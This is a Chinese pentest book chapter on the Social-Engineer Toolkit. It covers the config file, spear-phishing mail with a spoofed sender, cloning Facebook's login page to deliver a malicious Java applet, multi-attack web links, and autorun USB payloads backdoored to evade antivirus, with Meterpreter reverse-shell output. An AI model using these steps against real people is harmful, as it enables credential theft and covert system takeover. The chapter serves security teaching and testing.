第10章 社会工程学工具包

本章讲解下述内容:

● 使用社会工程学工具包(SET);

● 使用SET配置文件;

● 钓鱼式攻击矢量;

● 网站攻击矢量;

● 多攻击Web矢量;

● 介质感染攻击。

10.1 引言

社会工程学是指诱导目标用户无意地执行一些操作的行为。在基于网络的典型社会工程场景中,用户被诱骗执行一些会导致敏感信息失窃,或其他一些恶意活动的操作。社会工程学广泛被应用的原因在于,攻破平台很困难,但诱使目标平台的用户无意地执行一些恶意活动则相对容易。例如,要窃取某个用户的口令,攻破 Gmail 的安全系统很困难,但创建社会工程场景,向目标用户发送伪造的登录/钓鱼页面,并诱骗用户泄露登录信息则相对容易。

社会工程学工具包的设计就是为了执行这些诱骗活动,正如现有软件和操作系统中的漏洞利用代码和漏洞一样,SET可以理解为用于攻破人类安全意识缺陷的“漏洞利用代码”。SET是官方的工具包,可以从www.social-engineer.org网站下载,并且在BackTrack 5中有默认安装。本章中,我们将分析社会科学工具包的各个方面,以及该工具包如何在Metasploit框架中发挥作用,重点关注如何创建攻击方法,以及如何对配置文件进行管理操纵,这也是SET的核心部分。下面开始深入介绍社会工程的内容。

10.2 使用社会工程学工具包(SET)

首先对SET进行介绍,主要内容包括SET在不同平台上的使用。

准备

官方网站www.social-engineer.com提供了适用于不同平台的SET下载链接,SET工具包中既包括可以通过浏览器进行操作的GUI版本,还包括可在终端提示符中执行的命令行版本。BackTrack中预先安装了SET工具包,为下面讨论的内容搭建了基础平台。

怎样实现

若要在BackTrack中启动SET,可以启动终端窗口并传递如下路径。

root@bt:~# cd /pentest/exploits/set

root@bt:/pentest/exploits/set# ./set

Copyright 2012, The Social-Engineer Toolkit (SET)

All rights reserved.

Select from the menu:

  1) Social-Engineering Attacks

  2) Fast-Track Penetration Testing

  3) Third Party Modules

  4) Update the Metasploit Framework

  5) Update the Social-Engineer Toolkit

  6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

如果是首次使用SET,可以先更新该工具包,以获取最新模块并修复一些已知的bug。使用 svn update命令启动更新过程,更新完成后,就可以开始使用。

GUI版本的 SET工具包可以通过Applications | Backtrack | Exploitation tools | Social Engineering Toolkit | set-web路径使用。

怎样工作

社会工程学工具包是一个基于Python的自动化工具,包括菜单驱动型的应用程序。快速执行和多样化等特性使Python语言成为开发SET这一类模块化工具的首选,同时也使得将该工具包整合到 Web 服务器。任何开源的 HTTP 服务器都可以用于访问浏览器版本的SET工具包,不过Apache被视为使用SET时的首选。

10.3 使用SET配置文件

在本节中,将详细介绍SET配置文件,该文件中包含了工具包使用的不同参数的默认值。对于大多数攻击,默认的配置文件都可以保证正常工作,但也有一些情况下需要根据攻击场景的需求更改某些默认设置。下面看一下配置文件中包含了哪些配置选项。

准备

若要查看该配置文件,首先需要切换到config目录,然后打开set_config文件。

root@bt:/pentest/exploits/set# nano config/set_config

使用上述命令可打开配置文件。打开后,首先是一些介绍性的声明,如下图所示。

figure_0224_0038

怎样实现

下面看一下有哪些可用的配置选项。

# DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/

framework3

METASPLOIT_PATH=/pentest/exploits/framework3

第一个配置选项与Metasploit安装目录相关。SET的正确运行需要Metasploit的支持,因为SET需要从其中选取攻击载荷和漏洞利用代码。

# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP TO LISTEN ON, IF NOTHING WILL

DEFAULT

# EXAMPLE: ETTERCAP_INTERFACE=wlan0

ETTERCAP_INTERFACE=eth0

#

# ETTERCAP HOME DIRECTORY (NEEDED FOR DNS_SPOOF)

ETTERCAP_PATH=/usr/share/ettercap

Ettercap is a multipurpose sniffer for switched LAN. Ettercap section can be used to perform LAN attacks like DNS poisoning, spoofing etc. The above SET setting can be used to either set ettercap ON of OFF depending upon the usability. # SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES

SENDMAIL=OFF

电子邮件服务器(sendmail)主要用于实现电子邮件诱骗,只有在目标电子邮件服务器不进行反向查询时,这一攻击才能生效。默认情况下,该值设置为OFF。

下面的配置展示了SET中应用最广泛的一种攻击方法。该配置允许攻击者使用自己的名字或任意其他伪造名对恶意的 Java applet进行签名,之后可用于执行基于浏览器的 Java applet注入攻击。

# CREATE SELF-SIGNED JAVA APPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES

YOU TO

# INSTALL ---> JAVA 6 JDK, BT4 OR UBUNTU USERS: apt-get install openjdk-

6-jdk

# IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install

sun-java6-jdk

SELF_SIGNED_APPLET=OFF

在后面的章节中会对该攻击方法进行详细讨论。进行该攻击时需要在系统中安装JDK,将其设置为ON,以便对其进行详细讨论时使用。

SELF_SIGNED_APPLET=ON

# AUTODETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF

YOU WANT

# SET TO AUTODETECT YOUR INTERFACE

AUTO_DETECT=ON

SET工具包使用AUTO_DETECT标记探测网络设置。如果用户使用NAT/端口转发,则SET会检测到用户的IP地址,并允许用户连接到外部的Internet。

进行下面的配置,建立Apache web服务器执行基于Web的攻击方法,为了具有更好的攻击性能,建议将其值设置为ON。

# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE

SPEED OF

# THE ATTACK VECTOR

APACHE_SERVER=OFF

#

# PATH TO THE APACHE WEBROOT

APACHE_DIRECTORY=/var/www

进行下面的配置,在进行web攻击时设置SSL证书。然而SET中的WEBATTACK_SSL设置中存在一些bug,建议该标记设置为OFF。

# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH

WEB_ATTACK VECTOR

WEBATTACK_SSL=OFF

进行下面的配置,可在进行 Web 攻击时构建自签名的证书,此时会出现警告消息:Untrusted certificate,因此建议使用该选项以避免警示信息。

# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR

(REQUIRED)

# YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CERT

# IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED!

#

SELF_SIGNED_CERT=OFF

进行下面的配置,在攻击执行后可激活或禁用Metasploit监听器。

# DISABLES AUTOMATIC LISTENER - TURN THIS OFF IF YOU DON'T WANT A

METASPLOIT LISTENER IN THE BACKGROUND.

AUTOMATIC_LISTENER=ON

进行下面的配置,SET可作为单独的工具包使用,而不需要依赖于Metasploit的功能,但建议还是和Metasploit一起使用,以便提高渗透测试的性能。

# THIS WILL DISABLE THE FUNCTIONALITY IF METASPLOIT IS NOT INSTALLED AND

YOU JUST WANT TO USE SETOOLKIT OR RATTE FOR PAYLOADS

# OR THE OTHER ATTACK VECTORS.

METASPLOIT_MODE=ON

上面给出的是SET中一些重要的配置选项,正确掌握配置文件相关内容有助于高效使用社会工程工具包。

怎样工作

SET配置文件是SET工具包的核心,其中的默认值是SET在执行攻击时使用,错误的SET 配置文件会导致执行错误,因此,要想获取好的结果,就必须要理解配置文件中各选项的详细信息。上述“怎样实现”部分清晰地介绍了配置文件的相关知识,有助于理解和管理配置文件。

10.4 钓鱼式攻击矢量

钓鱼式攻击是使用电子邮件进行的一种攻击场景。在该攻击场景中,攻击者向目标用户发送恶意的电子邮件。为了伪造源电子邮件地址,需要使用 sendmail 服务器,将配置改为SENDMAIL=ON。如果还没有安装sendmail,可以使用如下命令下载。

root@bt:~# apt-get install sendmail

Reading package lists... Done

准备

在介绍钓鱼攻击之前,有必要先了解电子邮件系统的工作机理。

为避免钓鱼攻击,接收方电子邮件服务器会部署灰色列表、SPF 记录确认、RBL 验证和内容验证等一系列措施,这些验证过程确保特定的电子邮件来自与其IP地址相同的电子邮件服务器。例如,如果伪造的电子邮件地址 richyrich@gmail.com来自 IP 202.145.34.23,则会被标记为恶意,因为该IP地址不属于Gmail,因此,为规避这些验证措施,攻击者需要确保服务器IP不存在于RBL/SURL列表中。由于钓鱼攻击高度依赖于用户的感知性,因此,攻击者应该对要发送的邮件内容进行精心设计,确保邮件内容尽可能看起来合法可信。

钓鱼攻击有两种类型:基于Web的内容和基于攻击载荷的内容。

在前面的章节中,已经介绍过怎样创建攻击载荷,但由于大多数电子邮件系统不允许可执行程序通过,所以应该考虑使用不同类型的攻击载荷,并将其嵌入到电子邮件的HTML内容中,例如 Java applet、Flash、PDF或MS Word/Excel等。

怎样实现

钓鱼攻击模块包含3种不同的攻击矢量,下面分别对其进行分析。

1) Perform a Mass Email Attack

2) Create a FileFormat Payload

3) Create a Social-Engineering Template

99) Return to Main Menu

选项 1 对应的是大规模邮件攻击,这种攻击方法首先需要选择攻击载荷,用户可以从Metasploit 漏洞利用代码模块中选择任意的漏洞,然后提示信息提示选择可以回连到攻击方的处理程序,选项中还包括设置vnc服务器、执行攻击载荷、启动命令行等。

下面的步骤包括启动 sendmail 服务器、为恶意文件格式设置模板、选择单一或大规模邮件攻击。

figure_0228_0039

最后,提示信息提示选择已知的邮件服务(例如Gmail或Yahoo!),或使用自己的邮件服务器。

1. Use a gmail Account for your email attack.

2. Use your own server or open relay

set:phishing>1

set:phishing> From address (ex: moo@example.com):bigmoney@gmail.com

set:phishing> Flag this message/s as high priority? [yes|no]:y

设置自己的邮件服务器不是很可靠,因为大多数邮件服务会进行反向查询,以便确认电子邮件的生成域与地址名相同。

下面分析另一种钓鱼式攻击方法,即创建文件格式漏洞攻击载荷,并将其通过电子邮件发送到目标机器,首选MS Word漏洞,因为这种文档的恶意或正常比较难于检测,因此适合作为电子邮件发送。

set:phishing> Setup a listener [yes|no]:y

[-] ***

[-] * WARNING: Database support has been disabled

[-] ***

最后,出现提示信息询问是否建立监听器,允许建立之后,将启动Metasploit监听器,并等待用户打开恶意文件,从而导致目标机器回连到攻击方机器。

电子邮件攻击的成功与否依赖于所针对的电子邮件客户端,因此需要对这种攻击方法及其适用性进行正确分析。

怎样工作

正如前面所讨论的,钓鱼攻击是一种针对特定用户的社会工程攻击。在这种攻击中,攻击者向目标用户机器发送电子邮件,其中包含了恶意的附件,附件将利用目标机器上的已知漏洞,攻击成功后将建立目标机器到攻击方机器的反向shell连接。SET自动化实现这一过程,社会工程的作用是建立一种看似完全合法的场景,诱骗目标用户下载恶意文件并执行。

10.5 网站攻击矢量

SET工具包中的Web attack矢量利用多种Web攻击攻陷目标,这是SET工具包中最流行的攻击方法,其工作方式类似于浏览器autopwn(可以将几种或特定的攻击发送到目标浏览器)。SET工具包中的web attack包含如下攻击方法。

1. The Java Applet Attack Method

2. The Metasploit Browser Exploit Method

3. Credential Harvester Attack Method

4. Tabnabbing Attack Method

5. Man Left in the Middle Attack Method

6. Web Jacking Attack Method

7. Multi-Attack Web Method

8. Return to the previous menu

本节将讨论其中最流行的 Java applet攻击方法,下面看一下如何使用 SET执行这一攻击。

准备

要开始 Java applet攻击方法,首先选择第一个选项,然后会弹出提示信息要求建立网站,既可以选择自定义模板,也可以克隆一个完整的 URL。下面看一下怎样使用克隆技术执行攻击。

怎样实现

要执行这种攻击,需要目标用户访问渗透测试人员克隆的网站。因此,渗透测试人员应该做到克隆的网站(也就是用来进行钓鱼攻击的网站)不与实际网站存在很大偏差。

(1)要开始克隆,首先需要确定待克隆的URL,下面是克隆Facebook登录页面展示。

1. Web Templates

2. Site Cloner

3. Custom Import

4. Return to the main menu

Enter number (1-4): 2

SET supports both HTTP and HTTPS

Example: http://www.thisisafakesite.com

Enter the url to clone: http://www.facebook.com

[*] Cloning the website: https://login.facebook.com/login.php

[*] This could take a little bit...

(2)完成克隆后,将提示选择攻击载荷,执行攻击载荷后将在目标机器上设置一个后门。

(3)完成上述步骤后,SET Web服务器将与msf一起启动,在目标机器上执行攻击载荷后,MSF将对接收反向连接的处理程序进行管理。

(4)可以在/pentest/exploits/set/src/web_clone/site/template处找到要克隆的模板和jar文件,当目标用户访问克隆的网站(运行在伪造的域之上)之后,会弹出一条消息,看起来就像完全安全的告警消息。

figure_0231_0040

此时,目标用户点击Allow后,恶意的applet将得以执行,并执行攻击载荷,而Metasploit监听器将接收到来自目标机器的反向连接,并生成如下的活跃会话。

[*] Sending stage (748544 bytes) to 192.168.56.103

[*] Meterpreter session 1 opened (192.168.56.103:443 ->

  Thu Sep 09 10:06:57 -0400 2010

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > shell

Process 2988 created.

Channel 1 created.

Microsoft Windows XP [Version 6.1]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

类似地,也可以执行其他攻击。从上述程序可以看到,使用SET可以很容易地创建攻击方法,并对设计的攻击场景进行完全的控制,而且,SET 还有一个最大的好处是可以在任何需要的时候对攻击方法进行修订。

怎样工作

Java applet感染是一个应用广泛的 Java applet漏洞,可在受保护的沙箱环境之外执行applet小程序。未经签名的或不安全的applet,一般都是在只能访问有限系统资源的沙箱环境中执行的。一旦恶意的 applet 得以执行,将获取目标机器上所有资源的访问权限,因为此时已经处在沙箱环境之外了。例如触发Java漏洞并执行任意代码执行。类似地,其他基于Web的攻击方法使用浏览器将攻击代码传递到目标系统。社会工程实际上是一种欺骗艺术,重点在于伪造一种场景欺骗目标用户。攻击者可以创建恶意的链接,并将其隐含在href标签下,或者使用伪造签名对 applet 进行签名,以便使其看起来完全合法。SET 模板是设计这类攻击的良好来源。

10.6 多攻击Web矢量

顾名思义,多攻击Web方法是将几种攻击方法整合到一起,从而将Web攻击发展到一个新的层次。使用这种攻击方法,攻击者可将几个漏洞利用代码和漏洞整合,并在目标用户打开恶意文档或URL之后,被逐一触发,直至报告成功攻击。借助SET,可以自动化地实现多种攻击方法到单一Web攻击场景的整合。下面进一步了解多攻击Web矢量。

怎样实现

多攻击Web矢量的启动和其他基于Web攻击类似,首先选择一个模板,这个模板可以是导入的,也可以是克隆的。差别在于下一个步骤,本节选择的是可以添加到Web攻击中的多种漏洞利用代码。

选择需要使用的攻击方法。

1. The Java Applet Attack Method (OFF)

2. The Metasploit Browser Exploit Method (OFF)

3. Credential Harvester Attack Method (OFF)

4. Tabnabbing Attack Method (OFF)

5. Man Left in the Middle Attack Method (OFF)

6. Web Jacking Attack Method (OFF)

7. Use them all - A.K.A. 'Tactical Nuke'

8. I'm finished and want proceed with the attack.

9. Return to main menu.

Enter your choice one at a time (hit 8 when finished selecting):

可以选择不同的攻击方法,选择之后,可以使用选项 8 来将选定的几种攻击方法整合到最终的单一攻击模板中。最后,将提示选择攻击载荷与后门编码器。

怎样工作

选择各种攻击方法后,SET 将这些攻击方法及攻击载荷整合到一起,构建一个单独的恶意链接,以备攻击者采用社会工程的方法进行使用。要想吸引目标用户点击该恶意链接,就需要构建一个在目标用户看起来完全合法的攻击模板。目标用户点击该链接后,各种攻击方法就会被逐一释放,直到某种方法攻击成功。一旦发现某个漏洞并成功攻击渗透后,将执行攻击载荷,并形成到Metasploit监听器的反向连接。

10.7 介质感染攻击

介质感染攻击是一种相对简单的攻击方法,SET将创建基于Metasploit的攻击载荷,建立监听器,并生成一个文件夹,该文件夹需要复制或写入到DVD/USB介质中,介质在目标机器上插入后,如果自动运行选项是激活的,其中的攻击代码就会自动执行,并实现对目标机器的控制。

怎样实现

这种攻击方法生成恶意可执行程序的原则很简单,然后使用可用的编码器对其进行编码,以便规避防病毒软件的保护措施。

Name: Description:

1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker.

2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker.

3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker.

4. Windows Bind Shell Execute payload and create an accepting port on remote system.

5. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline

6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline

7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter

8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports

9. Import your own executable Specify a path for your ownexecutable

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typically the best.

1. avoid_utf8_tolower (Normal)

2. shikata_ga_nai (Very Good)

3. alpha_mixed (Normal)

4. alpha_upper (Normal)

5. call4_dword_xor (Normal)

6. countdown (Normal)

7. fnstenv_mov (Normal)

8. jmp_call_additive (Normal)

9. nonalpha (Normal)

10. nonupper (Normal)

11. unicode_mixed (Normal)

12. unicode_upper (Normal)

13. alpha2 (Normal)

14. No Encoding (None)

15. Multi-Encoder (Excellent)

16. Backdoored Executable (BEST)

Enter your choice (enter for default):

[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few

seconds...

[-] Backdoor completed successfully. Payload is now hidden within a legit executable.

[*] Your attack has been created in the SET home directory folder

"autorun"

[*] Copy the contents of the folder to a CD/DVD/USB to autorun.

[*] The payload can be found in the SET home directory.

[*] Do you want to start the listener now? yes or no: yes

[*] Please wait while the Metasploit listener is loaded...

怎样工作

生成已编码恶意文件之后,Metasploit监听器启动并等待反向连接。这种攻击方法的唯一不足是可移除媒介必须激活自动运行选项,否则将需要人工激活。

这种类型的攻击方法适用于目标机器处于防火墙保护之下的情况。现今的大多数防病毒程序会禁用自动播放功能,从而导致这种攻击失去效力。使用这种攻击方法时,渗透测试人员还需要确保将后门程序植入到可执行程序或PDF文档中,并将其写入到感染媒介中,从而保证目标机器执行攻击载荷。